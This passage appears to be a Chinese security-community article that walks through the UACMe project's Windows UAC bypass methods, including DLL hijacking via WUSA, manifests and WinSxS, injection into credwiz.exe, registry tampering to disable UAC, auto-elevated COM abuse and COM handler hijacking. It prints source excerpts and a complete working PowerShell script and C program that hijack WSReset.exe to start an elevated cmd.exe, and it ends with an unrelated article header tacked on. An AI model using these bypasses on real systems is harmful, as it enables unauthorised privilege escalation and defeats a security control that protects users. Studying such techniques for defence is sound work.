UacMethodTest = 0, //+
UacMethodSysprep1 = 1, //+
UacMethodSysprep2, //+
UacMethodOobe, //+
UacMethodRedirectExe, //+
UacMethodSimda, //+
UacMethodCarberp1, //+
UacMethodCarberp2, //+
UacMethodTilon, //+
UacMethodAVrf, //+
UacMethodWinsat, //+
UacMethodShimPatch, //+
UacMethodSysprep3, //+
UacMethodMMC1, //+
UacMethodSirefef, //+
UacMethodGeneric, //+
UacMethodGWX, //+
UacMethodSysprep4, //+
UacMethodManifest, //+
UacMethodInetMgr, //+
UacMethodMMC2, //+
UacMethodSXS, //+
UacMethodSXSConsent, //+
UacMethodDISM, //+
UacMethodComet, //+
UacMethodEnigma0x3, //+
UacMethodEnigma0x3_2, //+
UacMethodExpLife, //+
UacMethodSandworm, //+
UacMethodEnigma0x3_3, //+
UacMethodWow64Logger, //+
UacMethodEnigma0x3_4, //+
UacMethodUiAccess, //+
UacMethodMsSettings, //+
UacMethodTyranid, //+
UacMethodTokenMod, //+
UacMethodJunction, //+
UacMethodSXSDccw, //+
UacMethodHakril, //+
UacMethodCorProfiler, //+
UacMethodCOMHandlers, //+
UacMethodCMLuaUtil, //+
UacMethodFwCplLua, //+
UacMethodDccwCOM, //+
UacMethodVolatileEnv, //+
UacMethodSluiHijack, //+
UacMethodBitlockerRC, //+
UacMethodCOMHandlers2, //+
UacMethodSPPLUAObject, //+
UacMethodCreateNewLink, //+
UacMethodDateTimeWriter, //+
UacMethodAcCplAdmin, //+
UacMethodDirectoryMock, //+
UacMethodShellSdclt, //+
UacMethodEgre55, //+
UacMethodTokenModUiAccess, //+
UacMethodShellWSReset, //+
UacMethodSysprep5, //+
UacMethodEditionUpgradeMgr, //+
UacMethodDebugObject, //+
UacMethodGlupteba, //+
UacMethodShellChangePk, //+
UacMethodMsSettings2, //+
UacMethodMax,
UacMethodInvalid = 0xabcdef
} UCM_METHOD;
这些是所有支持的BypassUAC的方式,对应着readme中列举出来的方法
接着就是一些初始化和检查,直接到MethodsManagerCall函数,该函数会在调用前做一些准备工作,包括如果需要额外的payload,会从资源文件中解密出来.MethodsManagerCall还会根据传入的Method号在ucmMethodsDispatchTable这个结构体找到调用方法
ucmMethodsDispatchTable是一个UCM_API_DISPATCH_ENTRY的结构体数组,跟着看这个结构体的定义
// UCM_API_DISPATCH_ENTRY定义
typedef struct _UCM_API_DISPATCH_ENTRY {
PUCM_API_ROUTINE Routine; //执行的方法
PUCM_EXTRA_CONTEXT ExtraContext; //该方法执行时依赖的额外内容
UCM_METHOD_AVAILABILITY Availability; //可行的最小/最大windows版本号
ULONG PayloadResourceId; //使用的payload dll
BOOL Win32OrWow64Required;
BOOL DisallowWow64;
BOOL SetParameters; //是否需要shared参数被设置
} UCM_API_DISPATCH_ENTRY, *PUCM_API_DISPATCH_ENTRY;
在解析完结构体后,根据配置,加载额外的内容或payload.之后获取其他命令行参数,这里需要重点关注Routine,这个结构体变量,该变量是一个PUCM_API_ROUTINE类型的变量,定义如下:
typedef NTSTATUS(CALLBACK *PUCM_API_ROUTINE)(
_In_ PUCM_PARAMS_BLOCK Parameter
);
//稍微扩展一下:
typedef NTSTATUS(__stdcall *PUCM_API_ROUTINE)(
_In_ PUCM_PARAMS_BLOCK Parameter
);
即PUCM_API_ROUTINE是一个指向“接受一个PUCM_PARAMS_BLOCK类型作为参数并回传一个NTSTATUS类型值的函数”的指针别名,也就是说可以通过该函数指针去调用该函数.接着看PUCM_PARAMS_BLOCK:
typedef struct tagUCM_PARAMS_BLOCK {
UCM_METHOD Method;
PVOID PayloadCode;
ULONG PayloadSize;
} UCM_PARAMS_BLOCK, *PUCM_PARAMS_BLOCK;
PUCM_PARAMS_BLOCK是一个tagUCM_PARAMS_BLOCK的结构体指针,追到这里就可以不用在追了,将关键代码抽出来看:
Entry = &ucmMethodsDispatchTable[Method];
ParamsBlock.Method = Method;
ParamsBlock.PayloadCode = PayloadCode;
ParamsBlock.PayloadSize = PayloadSize;
MethodResult = Entry->Routine(&ParamsBlock);
Entry找到了结构体内对应method的入口,也就是`{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID,
FALSE, TRUE, TRUE },`这一项,这里作出分析,`MethodResult =
Entry->Routine(&ParamsBlock);`这里其实等价于:``MethodResult =
MethodCarberp(&ParamsBlock)`,我们看MethodCarberp的定义:
//#define UCM_API(n) NTSTATUS CALLBACK n(_In_ PUCM_PARAMS_BLOCK Parameter)
UCM_API(MethodCarberp)
{
//
// Additional checking for UacMethodCarberp1.
// Target application 'migwiz' unavailable in Syswow64 after Windows 7.
//
if (Parameter->Method == UacMethodCarberp1) {
if ((g_ctx->IsWow64) && (g_ctx->dwBuildNumber > 7601)) {
ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING);
return STATUS_UNKNOWN_REVISION;
}
}
return ucmWusaMethod(
Parameter->Method,
Parameter->PayloadCode,
Parameter->PayloadSize);
}
可见最终调用了ucmWusaMethod这个函数,将关键代码摘出来分析下:
/*
* ucmWusaMethod
*
* Purpose:
*
* Build and install fake msu package then run target application.
*
* Fixed in Windows 10 TH1
*
*/
NTSTATUS ucmWusaMethod(
_In_ UCM_METHOD Method,
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
WCHAR szSourceDll[MAX_PATH * 2];
WCHAR szTargetProcess[MAX_PATH * 2];
WCHAR szTargetDirectory[MAX_PATH * 2];
_strcpy(szTargetProcess, g_ctx->szSystemDirectory);
_strcpy(szTargetDirectory, g_ctx->szSystemDirectory);
_strcpy(szSourceDll, g_ctx->szTempDirectory);
switch (Method) {
//
// Use cliconfg.exe as target.
// szTargetDirectory is system32
//
case UacMethodCarberp2:
_strcat(szSourceDll, NTWDBLIB_DLL);
_strcat(szTargetProcess, CLICONFG_EXE);
break;
default:
return STATUS_INVALID_PARAMETER;
}
if (!PathFileExists(szTargetProcess)) {
return STATUS_OBJECT_NAME_NOT_FOUND;
}
//
// Extract file to the protected directory
// First, create cab with fake msu ext, second run fusion process.
//
if (ucmCreateCabinetForSingleFile(
szSourceDll,
ProxyDll,
ProxyDllSize,
NULL))
{
if (ucmWusaExtractPackage(szTargetDirectory)) {
//run target process for dll hijacking
if (supRunProcess(szTargetProcess, NULL))
MethodResult = STATUS_SUCCESS;
}
ucmWusaCabinetCleanup();
}
return MethodResult;
}
经过分析可以发现BypassUAC的流程为:
1. 生成ellocnak.msu，此文件是一个cab格式的文件，内容为ntwdblib.dll文件（该文件为程序生成的加密Payload）,文件放置在用户临时目录下
2. 通过之前介绍的WUSA将ellocnak.msu解压到system32目录下
`cmd.exe /c wusa %temp%\ellocnak.msu /extract:%windir%\system32`
3. 运行C:\windows\system32\cliconfg.exe，进行DLL劫持
该方法劫持了cliconfig.exe对ntwdblib.dll的加载。
跟进生成的payload,看一下具体怎么实现的bypassUAC:
payload是在_UCM_API_DISPATCH_ENTRY中PayloadResourceId字段指明的,但这个字段只是一个payload的资源标识符,真正处理的的部分在methods.c中的supLdrQueryResourceData函数,代码如下:
Resource = supLdrQueryResourceData(
Entry->PayloadResourceId,
ImageBaseAddress,
&DataSize);
supLdrQueryResourceData中的关键部分如下:
if (DllHandle != NULL) {
IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
IdPath[1] = ResourceId; //id
IdPath[2] = 0; //lang
status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
if (NT_SUCCESS(status)) {
status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData);
if (NT_SUCCESS(status)) {
if (DataSize) {
*DataSize = SizeOfData;
}
}
}
}
其中LdrFindResource_U和LdrAccessResource都是从NTdll中导出的API,LdrFindResource_U会根据资源ID找到相应的资源,如果找到,则返回相应的句柄,后续应该使用LdrAccessResource来使用该句柄,这两个API都没有找到有人分析的使用方法,但是可以跟进payload中,其拓展如下:
这里又可以在bin32res.rc中找到资源文件的路径,这里就是加密的payload的了,刚刚我们看到在定义IDPath时,第一项type值为RT_RCDATA,指明了该资源是由.rc文件中的RCDATA字段指出其位置的,可以看到就是bin/fubuki32.cd
我们接着在程序中寻找解密的算法,其解密算法在compress.c中的DecompressPayload函数中定义:
PVOID DecompressPayload(
_In_ ULONG PayloadId,
_In_ PVOID pbBuffer,
_In_ ULONG cbBuffer,
_Out_ PULONG pcbDecompressed
)
其对应的参数为:
`PayloadCode = g_ctx->DecompressRoutine(Entry->PayloadResourceId, Resource,
DataSize, &PayloadSize);`
Resource是加密的资源文件,在这里处理了加密过程
受篇幅所限,这里就不继续跟下去了,有兴趣的读者可以继续,其中密钥被放在了secrets.h中.这种方法就先说到这里
该项目中大部分Bypass UAC的方式都是这种DLL劫持的方法，只是劫持的DLL和EXE有所不同。
##### 使用manifest文件进行DLL劫持
利用manifest进行Bypass UAC的方式是微软在修复一次由DLL加载顺序劫持导致的Bypass UAC时自己暴露出来的一种Bypass
UAC的可行方案。
介绍一下manifest:
>
> XP以前版本的windows，执行EXE时会像之前介绍的顺序寻找相应的dll，Manifest只是个多余的文件或资源，dll文件会直接到system32的目录下查找，并且调用。
>
> 而XP及其以后的操作系统，则会首先读取Manifest，获得exe文件需要调用的DLL列表（此时获得的，并不直接是DLL文件的本身的位置，而是DLL的manifest）操作系统再根据DLL的Manifest提供的信息去寻找对应的DLL
> ，这样就可能区别不同版本的同一个DLL文件。
在Windows中有些可执行程序没有内置的manifest，假设这个程序叫test.exe，如果攻击者在该可执行程序目录下新建一个test.exe.manifest并在manifest文件中指定file元素，则test.exe执行时会加载file元素中loadFrom属性指定的DLL（loadFrom的dll不能在KnownDlls中）
方法18就是采用这种方法,详情如下:
Author: Leo Davidson derivative
Type: Dll Hijack (Manifest)
Method: IFileOperation
Target(s): \system32\taskhost.exe, \system32\tzsync.exe (any ms exe without manifest)
Component(s): Attacker defined
Implementation: ucmAutoElevateManifest
Works from: Windows 7 (7600)
Fixed in: Windows 10 RS1 (14371)
How: Manifest parsing logic reviewed
BypassUAC的过程如下(以win7版本为例)
1. 先从C:\windows\system32下拷贝taskhost.exe到%temp%\临时目录下,再利用高权限进程把taskhost.exe拷贝到C:\windows下
2. 在C:\windows\system32\sysprep下写一个cryptbase.dll(因为在C:\windows\system32\下本身存在cryptbase.dll，为了不影响系统功能，需要将攻击者自定义内容的cryptbase.dll拷贝到其他地方)并将payload注入到cryptbase.dll中
3. 在C:\windows下写入taskhost.exe.manifest文件.由于taskhost.exe无内置清单文件，所以会从manifest中指定的路径加载DLL即C:\Windows\system32\sysprep\cryptbase.DLL（该DLL的名称可变，但file标签下name的值也需要相应变化,这个标签指明了taskhost.exe会自动加载的dll名称，即cryptbase.DLL）
我们看一下taskhost.exe.manifest的内容
<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<assembly
xmlns="urn:schemas-microsoft-com:asm.v1"
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
manifestVersion="1.0"
>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevellevel="requireAdministrator"uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
<fileloadFrom="C:\Windows\system32\sysprep\cryptbase.DLL"name="cryptbase.DLL" />
</assembly>
在这个方法中,还有一点值得一提,那就是怎么向系统目录中写文件而不触发UAC,在项目中,ucmMasqueradedMoveFileCOM这个函数提供了向特权目录写而不触发UAC的功能,其是通过借助IFileOperation
COM对象进行操作的.
IFileOperation
COM对象进行文件操作是可以自动提升权限(AutoElevate)(从标准用户到管理员用户)，但是它会检查当前使用该COM对象的进程是否为白名单进程，仅白名单进程的条件下可以进行自动权限提升。
在白名单进程中使用IFileOperation COM向受保护目录写文件时不会弹出UAC窗口。
##### 使用WinSxS机制进行DLL劫持
WinSxS位于%systemroot%\WinSxS,为windows XP
SP2后引入的一种机制,其中存放的是windows系统文件以及Dll文件的若干个副本,由于应用程序可以使用同一个DLL文件，因此出于兼容性与还原至旧版本的考虑，系统会在这里存放多个不同版本的文件副本。
SxS允许二进制文件嵌入manifest文件来表达详细的二进制依赖信息,当Windows公共控件包comctl32.dll被分裂为多个可以相互并存的版本以后该机制被使用，因而应用程序可以加载正确版本的二进制文件。此后其他的二进制文件也采用相同的方式进行版本管理。
C:\Windows\System32\sysprep\sysprep.exe的manifest文件如下，其中定义了dependency字段，这字段就是用来表达详细的二进制依赖信息的。
......
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="amd64"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>
......
sysprep.exe在运行时会加载dependency设置的dll，比如name“Microsoft.Windows.Common-Controls”的对应的dll为comctl32.dll，sysprep.exe会加载C:\windwos\winsxs中的comctl32.dll，而不是加载system32下的dll。
但是在加载winsxs下的dll之前，windows会先应用Dotlocal机制去查找dll，这个机制也是MS推出的为了解决兼容性问题的一个机制，exe会首先检查当前目录下有没有sysprep.exe.local的文件夹，如果有则在该文件夹中寻找dll
C:\Windows\System32\sysprep\sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\comctl32.dll
若没有则会从winsxs下寻找dll
C:\Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll
所以,我们bypassUAC的思路也就出来了:
1. C:\windows\system32\sysprep\下新建文件夹sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\
2. 在该文件夹下写入comctl32.dll
3. 运行sysprep.exe进行DLL劫持
对应21号方法:
Author: Leo Davidson derivative
Type: Dll Hijack
Method: IFileOperation, SxS DotLocal
Target(s): \system32\sysprep\sysprep.exe
Component(s): comctl32.dll
Implementation: ucmSXSMethod
Works from: Windows 7 (7600)
Fixed in: Windows 10 RS3 (16232)
How: MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images
当然也可以选择劫持其他程序
##### 通过代码注入绕过UAC
第14号方法使用了这种技术
Author: Leo Davidson, WinNT/Sirefef derivative
Type: Dll Hijack
Method: IFileOperation
Target(s): \system\credwiz.exe, \system32\wbem\oobe.exe
Component(s): netutils.dll
Implementation: ucmSirefefMethod
Works from: Windows 7 (7600)
Fixed in: Windows 10 TH2 (10548)
How: AppInfo elevated application path control hardening
具体操作流程如下：
1. 将payloadDll(Fubuki)使用IFileOperation拷贝C:\Windows\system32\wbem\netutils.dll
2. 将C:\Windows\system32\credwiz.exe 拷贝到Temp目录下命名为oobe.exe
3. 将Temp\oobe.exe使用IFileOperation拷贝到C:\Windows\system32\wbem\oobe.exe
4. 启动credwiz.exe(以挂起模式CREATE_SUSPENDED启动)并向其进程注入shellcode(向credwiz中注入的代码是ucmxElevatedLaunchProc函数的代码)
5. ucmElevatedLaunchProc中执行ShellExec (以runas方式执行)启动C:\Windows\system32\wbem\oobe.exe，该可执行程序存在DLL劫持，C:\Windows\system32\wbem\netutils.dll得以运行，进而绕过UAC
6. 清理system32\wbem下的数据
其中ucmxElevatedLaunchProc的代码如下:
DWORD WINAPI ucmxElevatedLaunchProc(
_In_ LOAD_PARAMETERS *Params
)
{
SHELLEXECUTEINFOW shexec;
shexec.cbSize = sizeof(shexec);
shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
shexec.nShow = SW_SHOW;
shexec.lpVerb = Params->szVerb;
shexec.lpFile = Params->szTargetApp;
shexec.lpParameters = NULL;
shexec.lpDirectory = NULL;
if (Params->ShellExecuteExW(&shexec))
if (shexec.hProcess != NULL) {
Params->WaitForSingleObject(shexec.hProcess, INFINITE);
Params->CloseHandle(shexec.hProcess);
}
return Params->RtlExitUserThread(STATUS_SUCCESS);
}
其参数在
RtlSecureZeroMemory(LoadParams, sizeof(LOAD_PARAMETERS));
_strcpy(LoadParams->szVerb, RUNAS_VERB);
_strcat(szB1, OOBE_EXE);
_strncpy(LoadParams->szTargetApp, MAX_PATH, szB1, MAX_PATH);
LoadParams->ShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(
g_ctx->hShell32,
"ShellExecuteExW");
LoadParams->WaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(
g_ctx->hKernel32,
"WaitForSingleObject");
LoadParams->CloseHandle = (pfnCloseHandle)GetProcAddress(
g_ctx->hKernel32,
"CloseHandle");
LoadParams->RtlExitUserThread = (pfnRtlExitUserThread)GetProcAddress(
g_ctx->hNtdll,
"RtlExitUserThread");
这里被构造,然后通过`Status = RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0,
0,(PUSER_THREAD_START_ROUTINE)newEp, newDp,&hRemoteThread, NULL);` 传递过去
##### 关闭UAC机制
该方法第一次被使用是在一个叫Simda的恶意软件中。
这个方法有一个缺点，需要重启系统才能成功关闭UAC。
该方法利用微软没有公开的ISecurityEditor COM对象，该对象和IFileOperation
COM对象类似，是一个AutoElevate的COM对象，在白名单进程中使用可以自动提升权限。
这个对象可以用于修改注册表的访问权限，攻击者可以伪装白名单进程然后修改如下注册表权限为可写
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
然后设置EnableLUA为0 （EnableLUA REG_DWORD 0）即可关闭UAC。
5号方法用的就是这种手法:
Author: WinNT/Simda
Type: Elevated COM interface
Method: ISecurityEditor
Target(s): HKLM registry keys
Component(s): - Implementation: ucmSimdaTurnOffUac
Works from: Windows 7 (7600)
Fixed in: Windows 10 TH1 (10147)
How: ISecurityEditor interface method changed
关键代码如下:
1. 使用ISecurityEditor修改上述注册表权限为可写
2. 新建/修改注册表键EnableUA的值为0
3. 重启系统，成功关闭UAC
##### 使用注册表制定程序加载DLL
该方法同样使用ISecurityEditor
COM，修改的注册表项为，将其访问权限改为可写,然后在`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options`表项后新建子项cliconfg.exe,在子项下增加键值对:
GlobalFlag REG_DWORD 0x0000100
VerifierDlls REG_SZ Hibiki.dll
VerifierDlls的值为dll的名字，该dll为攻击者自定义dll，该DLL需要放置在C:\Windows\system32下。VerifierDlls中存储的DLL会被AppVerfier（应用程序检验器）使用。
通过WUSA将攻击者自动以DLL解压至C:\windwos\system32\Hibiki.dll下，然后运行cliconfg.exe即可在运行时自动加载Hibiki.dll，因为cliconfg.exe是AutoElevate的exe，所以Hiibiki.dll会以管理员权限运行，即绕过了UAC。
方法9使用了该技术:
Author: Leo Davidson, WinNT/Simda, Win32/Carberp derivative
Type: Dll Hijack
Method: IFileOperation, ISecurityEditor, WUSA
Target(s): IFEO registry keys, \system32\cliconfg.exe
Component(s): Attacker defined Application Verifier Dll
Implementation: ucmAvrfMethod
Works from: Windows 7 (7600)
Fixed in: Windows 10 TH1 (10147)
How: WUSA /extract option removed, ISecurityEditor interface method changed
注意,由于是使用的WUSA来进行转移,所以同样也要构造一个cab格式的文件.
以上就是常见的通过DLL劫持的方式来BypassUAC的方法.
### 利用COM接口
#### COM简介
COM是Component Object Model （组件对象模型）的缩写。
COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下，人们可以开发出各种各样的功能专一的组件，然后将它们按照需要组合起来，构成复杂的应用系统。
##### 应用程序与COM注册表的关系 – CLSID
首先需要介绍一下CLSID(Class Identifier)，中文翻译为：“全局唯一标识符”。
CLSID是指Windows系统对于不同的应用程序，文件类型，OLE对象，特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码，用于对其身份的标识和与其他对象进行区分。位置在注册表的
_HKEY_CLASSES_ROOT\CLSID_
，这里存放了Windows系统组件对应的CLSID，选中某个CLSID，在右侧窗格中的“默认”值显示的“数据”即为该CLSID对应的系统组件名称，例如{26EE0668-A00A-44D7-9371-BEB064C98683}就是“控制面板”的CLSID。
可以有以下应用方式：
* **方式一：** Win + R 快捷键调出“运行”对话框，输入 shell:::CLSID（例如 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ），确定，即可打开“控制面板”（不是在cmd中）
* **方式二：** 创建快捷方式。在创建快捷方式时，只需在“请键入对象的位置”文本框中输入 explorer shell:::CLSID（例如explorer shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ），那么使用创建的快捷方式打开“控制面板”；
* **方式三：** 你也可以把某个系统组件的CLSID嵌入到应用软件中，以快速打开某组件；
#### 利用可以Auto Approval的COM组件BypassUAC
对于这类BypassUAC，需要满足以下两点：
1. elevation属性开启，且开启Auto Approval(需要利用这个特点绕过UAC)
2. COM组件中的接口存在可以命令执行的地方(用来执行我们自己的命令)
举个例子，如41号方法：
Author: Oddvar Moe
Type: Elevated COM interface
Method: ICMLuaUtil
Target(s): Attacker defined
Component(s): Attacker defined
Implementation: ucmCMLuaUtilShellExecMethod
Works from: Windows 7 (7600)
Fixed in: unfixed 🙈
How: -
这个方法使用的是CMSTPLUA组件的ICMLuaUtil接口，我们对着上述两个特点看一下
这里建议下载一个[OleViewDotNet](https://github.com/tyranid/oleviewdotnet)工具，可以方便的查看系统中的COM接口属性信息，注意需要用管理员权限运行
Registry -> CLSIDs
在CLSID上右键 -> properties -> Elevation 可以看到该接口Enabled：True&Auto
Approval：True,满足上述第一个条件
鼠标悬浮在ICMLuaUtil上,可以看到虚函数表地址在cmlua.dll+0x7360的位置处
用IDA打开看一下,找到0x180007360的位置,可以看到ICMLuaUtil接口的虚函数表
满足了第二个条件,即通过调用`ShellExecuteEx`这个`Windows API`实现了命令执行
我们具体看一下实现过程:
关键代码在Source\Akagi\methods\api0cradle.c中的ucmCMLuaUtilShellExecMethod函数中定义,同样,调用该函数前需要用supMasqueradeProcess伪装成白名单,关键函数如下:
NTSTATUS ucmCMLuaUtilShellExecMethod(
_In_ LPWSTR lpszExecutable
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
HRESULT r = E_FAIL, hr_init;
BOOL bApprove = FALSE;
ICMLuaUtil *CMLuaUtil = NULL;
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //初始化当前线程Com组件
......
r = ucmAllocateElevatedObject(
T_CLSID_CMSTPLUA,
&IID_ICMLuaUtil,
CLSCTX_LOCAL_SERVER,
(void**)&CMLuaUtil);
......
r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
lpszExecutable,
NULL,
NULL,
SEE_MASK_DEFAULT,
SW_SHOW);
......
if (CMLuaUtil != NULL) {
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
if (hr_init == S_OK)
CoUninitialize();
return MethodResult;
}
ucmAllocateElevatedObject中用CoGetObject创建了一个以管理员权限运行的CMLuaUtil组件
然后用ShellExec传进来的lpszExecutable,也就是payload:
if (g_ctx->OptionalParameterLength == 0)
lpszParameter = g_ctx->szDefaultPayload;
else
lpszParameter = g_ctx->szOptionalParameter;
return ucmCMLuaUtilShellExecMethod(lpszParameter);
定义在sup.c中,就是一行简单滴调用cmd.exe的命令
##### 寻找这类可利用接口
除了通过上面的方式在`OleView`中手动去找，还可以通过`UACMe`项目提供的`Yuubari`工具快速查看系统`UAC`设定信息以及所有可以利用的程序和`COM`组件,这个工具的使用上文已经详细说明了,这里我们来看一下日志内容,挑几个重点的说:
===============================================================
[UacView] Basic UAC settings
===============================================================
ElevationEnabled=Enabled
VirtualizationEnabled=Enabled
InstallerDetectEnabled=Enabled
ConsentPromptBehaviorAdmin=5
EnableSecureUIAPaths=1
PromptOnSecureDesktop=Enabled
显示基本的UAC配置
===============================================================
[UacView] Autoelevated COM objects
===============================================================
EditionUpgradeHelper Class
EditionUpgradeHelper
\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01776DF3-B9AF-4E50-9B1C-56E93116D704}
CEIPLuaElevationHelper
wercplsupport.dll
Customer Experience Improvement Program
\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01D0A625-782D-4777-8D4E-547E6457FAD5}
罗列所有可以自动权限提升的COM对象
===============================================================
[UacView] Autoelevated applications in Windows directory
===============================================================
C:\Windows\System32\BitLockerWizardElev.exe
requireAdministrator
uiAccess=FALSE
autoElevate=TRUE
罗列所有可以自动提升权限的应用(在windows目录下的)
#### 劫持COM组件绕过UAC
这种方式的原理在于CLSID下的两个键名:InprocHandler32和InprocServer32:
* InprocHandler32:指定应用程序使用的自定义处理程序
* InprocServer32:注册32位进程所需要的模块、线程属性配置
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
{CLSID}
InprocServer32 (Default) = path
ThreadingModel = value
##### COM组件的加载过程
1. HKCU\Software\Classes\CLSID
2. HKCR\CLSID
3. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
所以我们可以通过在COM组件注册表下创建InprocServer32键值并将其指向我们自己的payload DLL来实现COM组件的劫持
40号方法就是使用这种技术:
Author: Ruben Boonen
Type: COM Handler Hijack
Method: Registry key manipulation
Target(s): \system32\mmc.exe, \system32\recdisc.exe
Component(s): Attacker defined
Implementation: ucmCOMHandlersMethod
Works from: Windows 7 (7600)
Fixed in: Windows 10 19H1 (18362)
How: Side effect of Windows changes
流程如下:
1. 将payload DLL先复制到temp下
2. 在CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}下创建InprocServer32并将值指向刚刚解压出来的dll文件,ThreadingModel的值为Apartment
3. 创建ShellFolder,把HideOnDesktopPerUser值改为空,把Attributes值改为0xF090013D,这是”combination of SFGAO flags”
4. 用mmc.exe运行eventvwr.msc,即可完成劫持.
5. 清理注册表
### 利用Shell API
这种方法主要是通过寻找autoElevated属性为true的程序,修改其注册表\shell\open\command的值,改成我们想要执行的paylaod,在该值中指明的字段会在这类程序运行时自动执行,类似于默认程序打开,当你以后运行该程序时,这个command命令都会自动执行
UACME原本项目中的方法…我尝试的时候有点bug,不知道是我系统的问题还是什么问题,后续研究一下..这里给一个win10仍可用的payload,利用到了WSReset.exe这个应用商店的程序,利用思路如下:
1. 更改HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command的值为”C:\Windows\System32\cmd.exe /c start cmd.exe”
2. 运行WSReset.exe
3. 清理注册表
将大佬原本的ps版本payload稍作修改:
<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API
Author: Hashim Jawad of ACTIVELabs
.PARAMETER Command
Specifies the command you would like to run in high integrity context.
.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
This will effectivly start cmd.exe in high integrity context.
.NOTES
This UAC bypass has been tested on the following:
- Windows 10 Version 1803 OS Build 17134.590
- Windows 10 Version 1809 OS Build 17763.316
#>
function Invoke-WSResetBypass {
Param (
[String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
)
$CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
$filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
New-Item $CommandPath -Force | Out-Null
New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
Write-Host "[+] Registry entry has been created successfully!"
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
Write-Host "[+] Starting WSReset.exe"
Write-Host "[+] Triggering payload.."
Start-Sleep -Seconds 10
if (Test-Path $filePath) {
Remove-Item $filePath -Recurse -Force
Write-Host "[+] Cleaning up registry entry"
}
}
IEX Invoke-WSResetBypass;
用法`POWERSHELL -EXECUTIONPOLICY BYPASS -FILE
C:\Users\User\Desktop\BypassUAC.ps1`
改成C版本:
#include <stdio.h>
#include <windows.h>
int main(void)
{
LPCWSTR regname = L"Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open";
HKEY hkResult = NULL;
const wchar_t * payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe";
DWORD Len = wcslen(payload)*2 + 2;
int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult);
ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len);
if (ret == 0) {
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d\n", ret);
return 0;
}
printf("Starting WSReset.exe");
system("C://Windows//System32//WSReset.exe");
return 0;
}
实际在测试的时候,我的Win10(10.0.19041.329)没有成功,似乎是我的注册表之前被改坏了,但是这种思路就是这样是没有问题的,大名鼎鼎的冰河木马和灰鸽子都是采用类似的方式来执行自己的exe的.
UACMe中还是有很多没有被修复的BypassUac的方法的,在实际使用中要结合具体的情况来选取使用的方式,msf中也有多种BypassUac的方法可以使用.BypassUac的方法比较多,单思路来说,大体思路都在上述的总结中了,目前为止这应该是相对比较全面的一片BypassUac的方法总结了,有任何有问题的地方,请各位大佬指正.
## 参考
* <https://www.secpulse.com/archives/68255.html>
* <https://cloud.tencent.com/developer/article/1623517>
* <https://payloads.online/archivers/2018-12-22/1#0x00-%E5%89%8D%E8%A8%80> | 社区文章 |
# 【技术分享】如何监控Windows控制台活动（Part 2）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-two.html>
译文仅供参考，具体内容表达以及含义原文为准。
